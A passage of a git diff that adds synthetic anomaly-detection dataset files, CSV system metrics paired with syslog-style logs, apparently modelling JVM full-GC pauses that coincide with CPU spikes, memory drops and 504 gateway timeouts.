/api/v1/user/45 status=200 OK +Jul 02 12:02:45 gc-logger[3456]: INFO JVM-GC-PAUSE-TIME duration=1850ms +Jul 02 12:02:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:55 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:03:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:30 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:03:40 app-server[3456]: ERROR GET /api/v1/process status=504 Gateway Timeout +Jul 02 12:04:05 app-server[3456]: ERROR GET /api/v1/process status=504 Gateway Timeout +Jul 02 12:04:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:04:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:35 gc-logger[3456]: INFO JVM-GC-PAUSE-TIME duration=1850ms +Jul 02 12:04:40 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:05:15 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:05:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:30 gc-logger[3456]: INFO JVM-GC-PAUSE-TIME duration=1850ms +Jul 02 12:05:40 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:45 app-server[3456]: ERROR GET /api/v1/process status=504 Gateway Timeout +Jul 02 12:05:50 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:06:10 app-server[3456]: ERROR GET /api/v1/process status=504 Gateway Timeout +Jul 02 12:06:25 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:06:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:07:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:07:20 gc-logger[3456]: INFO JVM-GC-PAUSE-TIME duration=1850ms diff --git a/anom_dataset/scenario_15/anom_15_17.csv b/anom_dataset/scenario_15/anom_15_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..c602e9c61508c4cacadf4a8af12675125d2a126a --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,23.18,41.6,1.22,1.14,1.0 +2025-07-15T10:00:05Z,16.62,47.2,1.29,0.82,0.83 +2025-07-15T10:00:10Z,23.79,53.44,1.34,1.31,1.01 +2025-07-15T10:00:15Z,20.49,59.89,1.44,0.88,1.38 +2025-07-15T10:00:20Z,19.47,67.14,1.24,0.93,1.42 +2025-07-15T10:00:25Z,21.84,73.84,1.2,1.49,0.97 +2025-07-15T10:00:30Z,16.76,78.19,1.36,0.91,1.33 +2025-07-15T10:00:35Z,20.72,83.82,1.46,1.15,0.94 +2025-07-15T10:00:40Z,86.67,33.78,0.17,0.32,0.26 +2025-07-15T10:00:45Z,85.31,45.81,0.19,0.2,0.11 +2025-07-15T10:00:50Z,19.21,49.9,1.22,1.41,1.47 +2025-07-15T10:00:55Z,18.61,57.11,1.37,1.07,1.02 +2025-07-15T10:01:00Z,20.23,62.32,1.75,1.37,0.98 +2025-07-15T10:01:05Z,17.92,69.5,1.6,1.29,0.77 +2025-07-15T10:01:10Z,24.57,76.12,1.3,1.04,1.29 +2025-07-15T10:01:15Z,19.66,83.33,1.46,0.91,1.2 +2025-07-15T10:01:20Z,22.29,87.52,1.56,1.24,1.47 +2025-07-15T10:01:25Z,89.71,36.11,0.14,0.34,0.17 +2025-07-15T10:01:30Z,85.77,47.29,0.19,0.2,0.2 +2025-07-15T10:01:35Z,17.04,55.16,1.4,1.21,1.29 +2025-07-15T10:01:40Z,21.27,60.55,1.6,1.27,1.04 +2025-07-15T10:01:45Z,23.88,67.96,1.65,0.89,0.76 +2025-07-15T10:01:50Z,19.16,72.7,1.66,1.54,1.25 +2025-07-15T10:01:55Z,20.2,79.77,1.49,0.93,1.06 +2025-07-15T10:02:00Z,19.84,85.9,1.65,1.14,0.95 +2025-07-15T10:02:05Z,21.92,91.91,1.68,0.84,0.81 +2025-07-15T10:02:10Z,20.28,95.0,1.36,1.55,1.5 +2025-07-15T10:02:15Z,86.94,32.93,0.15,0.17,0.13 +2025-07-15T10:02:20Z,89.64,44.25,0.15,0.19,0.11 +2025-07-15T10:02:25Z,23.16,50.06,1.69,0.89,1.26 +2025-07-15T10:02:30Z,23.66,54.87,1.36,0.96,0.97 +2025-07-15T10:02:35Z,19.16,60.94,1.44,1.3,1.46 +2025-07-15T10:02:40Z,23.24,68.16,1.66,1.29,0.98 +2025-07-15T10:02:45Z,16.07,73.64,1.29,1.53,0.74 +2025-07-15T10:02:50Z,22.54,78.07,1.64,1.04,1.34 +2025-07-15T10:02:55Z,22.67,82.82,1.79,1.33,1.14 +2025-07-15T10:03:00Z,89.11,32.9,0.14,0.16,0.2 +2025-07-15T10:03:05Z,94.22,45.77,0.14,0.21,0.25 +2025-07-15T10:03:10Z,16.0,51.53,1.73,1.23,0.8 +2025-07-15T10:03:15Z,20.16,55.56,1.26,1.57,1.41 +2025-07-15T10:03:20Z,23.63,59.76,1.23,1.58,1.1 +2025-07-15T10:03:25Z,20.89,66.86,1.33,1.06,0.75 +2025-07-15T10:03:30Z,23.43,74.36,1.5,1.26,0.71 +2025-07-15T10:03:35Z,19.48,79.69,1.67,0.82,1.18 +2025-07-15T10:03:40Z,94.66,36.0,0.2,0.28,0.14 +2025-07-15T10:03:45Z,92.09,49.93,0.14,0.25,0.07 +2025-07-15T10:03:50Z,18.07,54.37,1.27,1.53,0.84 +2025-07-15T10:03:55Z,20.13,61.4,1.58,1.39,1.2 +2025-07-15T10:04:00Z,16.55,66.6,1.69,0.88,0.82 +2025-07-15T10:04:05Z,23.37,71.69,1.43,1.29,1.38 +2025-07-15T10:04:10Z,17.94,75.99,1.48,0.99,1.21 +2025-07-15T10:04:15Z,20.85,82.91,1.27,1.56,0.81 +2025-07-15T10:04:20Z,17.99,87.13,1.79,1.03,1.32 +2025-07-15T10:04:25Z,22.94,94.43,1.35,1.39,1.19 +2025-07-15T10:04:30Z,94.77,33.64,0.15,0.17,0.09 +2025-07-15T10:04:35Z,88.72,44.13,0.14,0.29,0.24 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+2025-07-15T10:06:20Z,24.02,74.35,1.68,0.99,1.13 +2025-07-15T10:06:25Z,23.87,78.98,1.28,1.0,1.45 +2025-07-15T10:06:30Z,15.62,85.36,1.64,1.41,0.83 +2025-07-15T10:06:35Z,19.9,90.33,1.62,1.21,1.35 +2025-07-15T10:06:40Z,88.16,35.45,0.2,0.19,0.19 +2025-07-15T10:06:45Z,92.52,48.62,0.14,0.21,0.15 +2025-07-15T10:06:50Z,18.42,54.77,1.51,1.16,1.31 +2025-07-15T10:06:55Z,16.03,59.81,1.65,1.56,0.75 +2025-07-15T10:07:00Z,21.38,67.06,1.22,1.4,1.28 +2025-07-15T10:07:05Z,22.81,74.3,1.63,0.96,1.19 +2025-07-15T10:07:10Z,22.2,78.98,1.33,1.42,1.35 +2025-07-15T10:07:15Z,19.29,84.06,1.53,1.25,1.4 +2025-07-15T10:07:20Z,23.36,88.86,1.63,0.85,0.91 +2025-07-15T10:07:25Z,89.54,35.42,0.11,0.28,0.22 diff --git a/anom_dataset/scenario_15/anom_15_17.log b/anom_dataset/scenario_15/anom_15_17.log new file mode 100644 index 0000000000000000000000000000000000000000..d2d813f981b1e6e8289a78c359ca1a938c4ac241 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_17.log @@ -0,0 +1,23 @@ +Jul 15 10:00:05 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:15 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:30 web-app[3456]: GET /api/v1/user/24 status=200 OK +Jul 15 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:40 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:00:45 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:01:25 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:01:30 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:02:15 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:02:20 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:03:00 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:03:05 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:03:40 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:03:45 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:04:30 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:04:35 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:05:10 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:05:15 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:05:50 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:05:55 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:06:40 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:06:45 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout +Jul 15 10:07:25 web-app[3456]: GET /api/v1/process status=504 Gateway Timeout diff --git a/anom_dataset/scenario_15/anom_15_18.csv b/anom_dataset/scenario_15/anom_15_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..1779a31bae3a8c12b726b0d8b45f73bda1d2b242 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,15.15169056503814,40.45313879842422,30.9118445993168,1.0932658230890642,0.8234861633798204 +2025-07-03T10:00:05Z,14.658918626926594,39.41331210775807,29.41501087972736,0.9401744120639426,0.9103995491430338 +2025-07-03T10:00:10Z,17.030683620447775,41.016407144116535,30.57567703302999,1.1061959846916032,0.8895491274118164 +2025-07-03T10:00:15Z,14.338874650582683,39.0889916492743,30.914451803802116,1.0485055811520243,1.0600971706384408 +2025-07-03T10:00:20Z,12.44329455565116,39.45677170880165,29.709352224296673,0.8409441571617251,0.9954045950791324 +2025-07-03T10:00:25Z,15.250289538047678,39.29869878670974,29.239775678618656,0.9400448014920126,0.9679113681513918 +2025-07-03T10:00:30Z,12.886177082222666,41.4290726271954,30.59383285723777,1.0204446148118118,1.0857486757732435 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Full GC, 1752.560 ms] +Jul 03 10:01:30 app-server[1122]: POST /api/v1/transaction status=504 Gateway Timeout +Jul 03 10:02:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:10 jvm[1122]: [GC (Allocation Failure) ... Full GC, 1689.338 ms] +Jul 03 10:02:10 app-server[1122]: POST /api/v1/transaction status=504 Gateway Timeout +Jul 03 10:02:50 jvm[1122]: [GC (Allocation Failure) ... Full GC, 1892.118 ms] +Jul 03 10:02:50 app-server[1122]: POST /api/v1/transaction status=504 Gateway Timeout +Jul 03 10:03:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:30 jvm[1122]: [GC (Allocation Failure) ... Full GC, 1618.628 ms] +Jul 03 10:03:30 app-server[1122]: POST /api/v1/transaction status=504 Gateway Timeout +Jul 03 10:04:10 jvm[1122]: [GC (Allocation Failure) ... Full GC, 1824.801 ms] +Jul 03 10:04:10 app-server[1122]: POST /api/v1/transaction status=504 Gateway Timeout +Jul 03 10:04:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:50 jvm[1122]: [GC (Allocation Failure) ... Full GC, 1972.213 ms] +Jul 03 10:04:50 app-server[1122]: POST /api/v1/transaction status=504 Gateway Timeout +Jul 03 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:30 jvm[1122]: [GC (Allocation Failure) ... Full GC, 1525.128 ms] +Jul 03 10:05:30 app-server[1122]: POST /api/v1/transaction status=504 Gateway Timeout +Jul 03 10:05:40 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:10 jvm[1122]: [GC (Allocation Failure) ... Full GC, 1757.366 ms] +Jul 03 10:06:10 app-server[1122]: POST /api/v1/transaction status=504 Gateway Timeout +Jul 03 10:06:50 jvm[1122]: [GC (Allocation Failure) ... Full GC, 1976.968 ms] +Jul 03 10:06:50 app-server[1122]: POST /api/v1/transaction status=504 Gateway Timeout +Jul 03 10:07:00 app-server[1122]: GET /api/v1/user/profile status=200 OK +Jul 03 10:07:20 app-server[1122]: GET /api/v1/user/profile status=200 OK diff --git a/anom_dataset/scenario_15/anom_15_2.csv b/anom_dataset/scenario_15/anom_15_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..37f51cd024ef83025cfbec4e64dfdc71626f4d64 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T11:00:00Z,18.997541130976508,47.96322564705907,32.22138096214692,1.1677675088060375,2.4824502329275853 +2025-08-16T11:00:05Z,27.265429298847277,51.60080983003136,46.0931937613267,0.37036857554588565,1.5137279241840416 +2025-08-16T11:00:10Z,26.98456011457372,55.23699944937995,28.711786267794253,1.09789106648791,1.7721068942850142 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app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 16 11:00:37 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 16 11:00:49 java[8888]: [Full GC (Ergonomics) ... 84485K->31562K(102400K), 2.499479 secs] +Aug 16 11:00:52 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=47781 +Aug 16 11:01:19 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 16 11:01:57 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 16 11:02:04 java[8888]: [Full GC (Ergonomics) ... 81439K->34630K(102400K), 3.090256 secs] +Aug 16 11:02:06 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=46652 +Aug 16 11:02:38 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 16 11:03:18 app-server[8888]: INFO: User 'charlie' fetched dashboard data. +Aug 16 11:03:19 java[8888]: [Full GC (Ergonomics) ... 89604K->39670K(102400K), 2.719635 secs] +Aug 16 11:03:22 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=80993 +Aug 16 11:04:03 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 16 11:04:40 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 16 11:04:59 java[8888]: [Full GC (Ergonomics) ... 100352K->33137K(102400K), 3.286484 secs] +Aug 16 11:05:02 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=20855 +Aug 16 11:05:23 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 16 11:06:01 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 16 11:06:37 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 16 11:06:39 java[8888]: [Full GC (Ergonomics) ... 100352K->31509K(102400K), 2.641490 secs] +Aug 16 11:06:41 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=14853 +Aug 16 11:07:17 app-server[8888]: INFO: User 'charlie' fetched dashboard data. diff --git a/anom_dataset/scenario_15/anom_15_3.csv b/anom_dataset/scenario_15/anom_15_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..3df6b3c709ae6494a3f9cc9da652db31cbd9b1e2 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T12:00:00Z,22.105499091398247,49.29004679716684,37.46894495183742,0.9451662985594765,1.41504322994445 +2025-08-17T12:00:05Z,23.041286805690604,53.655244785397564,32.80689402127295,0.7609489522582551,1.5692886654948774 +2025-08-17T12:00:10Z,20.41941783392883,56.77335500940532,38.97994502041683,0.5705621884828092,2.1712110806261316 +2025-08-17T12:00:15Z,21.182796379846952,60.84416191301176,37.162828063917,0.5884785354823121,1.5688067852218965 +2025-08-17T12:00:20Z,16.91346938112239,63.907702389919606,38.25610532015258,0.8492315593869568,1.9863967980278083 +2025-08-17T12:00:25Z,11.612485478971944,68.1807634214801,34.849058835835415,1.2084972218919037,0.8663837183794071 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12:01:16 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=30220 +Aug 17 12:01:23 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 17 12:01:57 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 17 12:02:37 app-server[8888]: INFO: User 'charlie' fetched dashboard data. +Aug 17 12:02:39 java[8888]: [Full GC (Ergonomics) ... 97047K->38956K(102400K), 3.287003 secs] +Aug 17 12:02:41 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=46561 +Aug 17 12:03:16 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 17 12:03:57 app-server[8888]: INFO: User 'charlie' fetched dashboard data. +Aug 17 12:04:09 java[8888]: [Full GC (Ergonomics) ... 100352K->37761K(102400K), 2.554210 secs] +Aug 17 12:04:12 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=71254 +Aug 17 12:04:43 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 17 12:05:21 app-server[8888]: INFO: User 'charlie' fetched dashboard data. +Aug 17 12:05:39 java[8888]: [Full GC (Ergonomics) ... 100352K->36258K(102400K), 2.909664 secs] +Aug 17 12:05:41 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=84764 +Aug 17 12:06:01 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 17 12:06:43 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 17 12:07:04 java[8888]: [Full GC (Ergonomics) ... 96756K->35963K(102400K), 2.987955 secs] +Aug 17 12:07:06 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=49870 +Aug 17 12:07:20 app-server[8888]: INFO: User 'charlie' fetched dashboard data. diff --git a/anom_dataset/scenario_15/anom_15_4.csv b/anom_dataset/scenario_15/anom_15_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..7ba810cf870683f238bb5c6e111e7ec8c6a14bfb --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_4.csv @@ -0,0 +1,91 @@ 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+2025-08-18T13:07:25Z,19.37819578223015,68.78728191585643,45.03502591565445,1.4703347779756968,1.7396426269618859 diff --git a/anom_dataset/scenario_15/anom_15_4.log b/anom_dataset/scenario_15/anom_15_4.log new file mode 100644 index 0000000000000000000000000000000000000000..fae7698b62eb46916a13194ebdc00c471798a11f --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_4.log @@ -0,0 +1,22 @@ +Aug 18 12:59:57 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 18 13:00:37 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 18 13:00:49 java[8888]: [Full GC (Ergonomics) ... 82884K->34504K(102400K), 2.124110 secs] +Aug 18 13:00:52 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=49264 +Aug 18 13:01:22 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 18 13:02:00 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 18 13:02:04 java[8888]: [Full GC (Ergonomics) ... 85370K->31223K(102400K), 2.534222 secs] +Aug 18 13:02:07 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=63813 +Aug 18 13:02:42 app-server[8888]: INFO: User 'charlie' fetched dashboard data. +Aug 18 13:03:18 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 18 13:03:19 java[8888]: [Full GC (Ergonomics) ... 84081K->32249K(102400K), 3.151261 secs] +Aug 18 13:03:22 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=76699 +Aug 18 13:04:01 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 18 13:04:37 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 18 13:04:59 java[8888]: [Full GC (Ergonomics) ... 100352K->40071K(102400K), 3.385292 secs] +Aug 18 13:05:01 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=43441 +Aug 18 13:05:17 app-server[8888]: INFO: User 'beta' fetched dashboard data. +Aug 18 13:06:02 app-server[8888]: INFO: User 'alex' fetched dashboard data. +Aug 18 13:06:36 app-server[8888]: INFO: User 'charlie' fetched dashboard data. +Aug 18 13:06:39 java[8888]: [Full GC (Ergonomics) ... 100352K->34666K(102400K), 2.704068 secs] +Aug 18 13:06:41 app-server[8888]: ERROR: Upstream service connection timed out for transaction_id=26782 +Aug 18 13:07:18 app-server[8888]: INFO: User 'beta' fetched dashboard data. diff --git a/anom_dataset/scenario_15/anom_15_5.csv b/anom_dataset/scenario_15/anom_15_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..df487c134e20e4a8b2e8ec19f2b9341421c98c90 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,28.409297128871316,31.930165719589034,44.39880164176664,1.7129660495145658,0.7163369238589885 +2025-08-23T10:00:05Z,22.829471271344087,34.07513051707598,50.22313782767194,1.317050214541453,1.0158713900883238 +2025-08-23T10:00:10Z,29.27955460619471,35.50474358067712,45.451655334967036,1.6158285175680174,1.1660137704197067 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--- /dev/null +++ b/anom_dataset/scenario_15/anom_15_5.log @@ -0,0 +1,44 @@ +Aug 23 10:00:15 systemd[1]: Started Session 16 of user app-user. +Aug 23 10:00:25 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:00:30 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:00:55 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:01:00 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:01:05 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:01:15 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:01:20 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:01:25 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:01:40 jvm[1122]: [GC pause] [Full GC (Allocation Failure)] 3640M->1148M, 2.1215 secs +Aug 23 10:01:42 app-server[3456]: WARN Request /api/v1/process-data timed out after 2000ms +Aug 23 10:01:43 app-server[3456]: ERROR Exception processing job 'heavy-task': upstream service did not respond in time +Aug 23 10:01:50 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:02:10 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:02:25 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:02:30 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:02:45 systemd[1]: Started Session 13 of user app-user. +Aug 23 10:02:50 systemd[1]: Started Session 18 of user app-user. +Aug 23 10:03:00 systemd[1]: Started Session 18 of user app-user. +Aug 23 10:03:10 systemd[1]: Started Session 18 of user app-user. +Aug 23 10:03:15 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:03:40 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:03:45 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:03:45 jvm[1122]: [GC pause] [Full GC (Allocation Failure)] 3952M->1066M, 1.9409 secs +Aug 23 10:03:47 app-server[3456]: WARN Request /api/v1/process-data timed out after 2000ms +Aug 23 10:03:48 app-server[3456]: ERROR Exception processing job 'heavy-task': upstream service did not respond in time +Aug 23 10:04:00 systemd[1]: Started Session 15 of user app-user. +Aug 23 10:04:05 systemd[1]: Started Session 11 of user app-user. +Aug 23 10:04:15 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:04:30 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:04:35 systemd[1]: Started Session 14 of user app-user. +Aug 23 10:04:55 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:05:05 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:05:15 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:05:20 systemd[1]: Started Session 10 of user app-user. +Aug 23 10:05:50 jvm[1122]: [GC pause] [Full GC (Allocation Failure)] 3597M->802M, 1.9447 secs +Aug 23 10:05:52 app-server[3456]: WARN Request /api/v1/process-data timed out after 2000ms +Aug 23 10:05:54 app-server[3456]: ERROR Exception processing job 'heavy-task': upstream service did not respond in time +Aug 23 10:06:30 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:06:45 systemd[1]: Started Session 18 of user app-user. +Aug 23 10:07:05 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:07:10 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 +Aug 23 10:07:15 postgres[1234]: [2-1] LOG: connection received: host=10.0.1.5 port=54321 +Aug 23 10:07:20 app-server[3456]: INFO GET /api/v1/status HTTP/1.1 200 diff --git a/anom_dataset/scenario_15/anom_15_6.csv b/anom_dataset/scenario_15/anom_15_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..f2b3a68bb180749549e953b3e244e106d729c0d1 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-23T10:06:40Z,15.38,58.0,22.51,0.89,1.39 +2025-08-23T10:06:45Z,20.69,67.0,33.08,0.99,1.72 +2025-08-23T10:06:50Z,18.05,76.0,37.47,0.64,0.98 +2025-08-23T10:06:55Z,92.58,43.24,1.31,0.05,0.03 +2025-08-23T10:07:00Z,24.98,40.0,28.36,1.08,1.06 +2025-08-23T10:07:05Z,18.17,49.0,29.5,1.38,1.64 +2025-08-23T10:07:10Z,17.81,58.0,22.13,0.8,0.82 +2025-08-23T10:07:15Z,16.22,67.0,28.46,0.78,1.39 +2025-08-23T10:07:20Z,15.12,76.0,20.95,1.23,1.84 +2025-08-23T10:07:25Z,94.62,43.74,1.27,0.06,0.08 diff --git a/anom_dataset/scenario_15/anom_15_6.log b/anom_dataset/scenario_15/anom_15_6.log new file mode 100644 index 0000000000000000000000000000000000000000..057d6e8bf0039fc03d1e1d548876558906a5ab34 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_6.log @@ -0,0 +1,49 @@ +Aug 23 10:00:00 app-server[1123]: INFO: Scheduled task 'daily-report' completed. +Aug 23 10:00:20 app-server[1123]: DEBUG: Processing batch job #12345 +Aug 23 10:00:25 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 1.584426 secs] +Aug 23 10:00:40 app-server[1123]: DEBUG: Processing batch job #12345 +Aug 23 10:00:55 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 2278ms. +Aug 23 10:00:55 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.155166 secs] +Aug 23 10:01:00 app-server[1123]: INFO: User 'admin' logged in successfully. +Aug 23 10:01:20 app-server[1123]: INFO: GET /api/v1/healthcheck 200 OK +Aug 23 10:01:25 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 2367ms. +Aug 23 10:01:25 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.223214 secs] +Aug 23 10:01:40 app-server[1123]: DEBUG: Processing batch job #12345 +Aug 23 10:01:55 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 2268ms. +Aug 23 10:01:55 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.651284 secs] +Aug 23 10:02:00 app-server[1123]: INFO: GET /api/v1/healthcheck 200 OK +Aug 23 10:02:20 app-server[1123]: INFO: GET /api/v1/healthcheck 200 OK +Aug 23 10:02:25 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 1907ms. +Aug 23 10:02:25 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.259851 secs] +Aug 23 10:02:40 app-server[1123]: INFO: GET /api/v1/healthcheck 200 OK +Aug 23 10:02:55 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 2271ms. +Aug 23 10:02:55 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.064879 secs] +Aug 23 10:03:00 app-server[1123]: DEBUG: Processing batch job #12345 +Aug 23 10:03:20 app-server[1123]: INFO: Scheduled task 'daily-report' 